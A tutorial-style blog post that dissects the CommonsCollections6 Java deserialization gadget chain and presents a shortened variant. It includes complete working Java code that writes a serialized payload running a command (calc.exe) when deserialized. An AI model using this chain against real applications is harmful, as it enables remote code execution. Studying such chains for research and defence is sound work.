CommonsCollection6

On this blog post we will learn about commonsCollection6 payload.

In this blog post we will take a slight different path . instead of learning the exact payload, we will learn why that particular payload and see if we can optimize it.

So let's jump in

Below is how the gadget Chain looks like for commonsCollection6.

        
            java.io.ObjectInputStream.readObject()
            java.util.HashSet.readObject()
                java.util.HashMap.put()
                java.util.HashMap.hash()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                        org.apache.commons.collections.map.LazyMap.get()
                            org.apache.commons.collections.functors.ChainedTransformer.transform()
                            org.apache.commons.collections.functors.InvokerTransformer.transform()
                            java.lang.reflect.Method.invoke()
                                java.lang.Runtime.exec()
        
    

let's divide the chain in 2 parts.

1st half

        
            java.io.ObjectInputStream.readObject()
            java.util.HashSet.readObject()
                java.util.HashMap.put()
                java.util.HashMap.hash()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
        
    

2nd half
        
                            org.apache.commons.collections.map.LazyMap.get()
                            org.apache.commons.collections.functors.ChainedTransformer.transform()
                            org.apache.commons.collections.functors.InvokerTransformer.transform()
                            java.lang.reflect.Method.invoke()
                                java.lang.Runtime.exec()
        
    

If you pay close attention, we already know how the 2nd half works, basically we set a hasmap and a transformerchain in lazyMap and when the get() doesn't find the key we get RCE

So let focus our attention on the first part i.e the entry part.

If you take a down-to-top approach, we will see that the TiedMapEntry.getValue() calls the lazymap.get().


SO where ever the TiedMapEntry.getValue() is getting called might be used as an intermediate gadget function.

Searching for this function call on TiedMapEntry class we see 2 functions hashCode() and toString(). This toString() was used in CC5 so let's look into the hashCode().

Now this HashCode() method can be getting called in lot of places, but from out past research we know that it definitiely gets called in HashMap.hash(), which is again getting called in put().

So if we can reach HashMap.put() from ObjectInputStream.readObject() we can reach till the LazyMap.get() which will execute our code.

The ysoserial payload says that we can reach till the hashmap.put() using HashSet class, which is true but its little bit complex, you can't just set the key value of the Hashmap and let it go on as the required functionsDoesn exist, and that is why even in the ysoserial payload they are getting map field and table field from the innerImplementation.

But if you pay close attention you can see that the HashMap.readObject() there is a function called

putVal(hash(key), key, value, false, false);
.

The
hash(key)
calls
 key.hashCode()
.



So if set the Key of the hashMap as TideMapEntry then the hashMap readObject can reach till TideMapEntry.hashCode() skipping the hashset part.

SO below is how the modified code looks like for CommonsCollection6 Gadget Chain.

        
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class cc6complete {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map lazymap = LazyMap.decorate(innerMap,transformerChain);
        TiedMapEntry tme = new TiedMapEntry(lazymap,"keykey");
        Map newmap = new HashMap();
        newmap.put(tme,"BLABLBLA");
        lazymap.remove("keykey");

FileOutputStream fos = new FileOutputStream("testing11.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(newmap);
oos.close();
    }
} 

        
    

Keep in mind that when you execute this a calc.exe will popout and if you deserialize the payload stored in testing11.ser then also a calc.exe will pop up.

If you don't want the calc.exe to pop duing the first time you have to use the reflections.

        
import java.io.FileInputStream;
import java.io.ObjectInputStream;

public class checkclass {

    public static void main(String args[])
    {
          try {
            FileInputStream fis = new FileInputStream("E:\\ysoserialresearch\\testing11.ser");
            ObjectInputStream ois = new ObjectInputStream(fis);

       
            Object obj = ois.readObject();

            ois.close();
            fis.close();

            System.out.println("Deserialization complete: " + obj.getClass().getName());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    }
    

        
    

we can use the above code to verify the deserialization chain.

Summary

In this blog post, we dissected the CommonsCollections6 gadget chain by breaking it into two logical halves: the deserialization path leading up to `TiedMapEntry.getValue()` and the invocation path that triggers `Runtime.exec()`.

Rather than following the conventional `HashSet`-based approach used in tools like ysoserial, we optimized the chain by directly setting a `TiedMapEntry` as the key in a `HashMap`, leveraging how `HashMap.readObject()` internally calls `putVal()` and triggers `key.hashCode()` during deserialization.

This not only simplified the gadget chain but also demonstrated how understanding the internals of `HashMap` can open alternative exploitation paths. A working PoC was also shared to illustrate the concept.

Such optimizations are critical in real-world exploitation where gadget minimization or custom bypasses are necessary.

Thats it for Today.

Thanks For Reading.

Happy Hacking.

You can connect with me at:

Linkedin

Twitter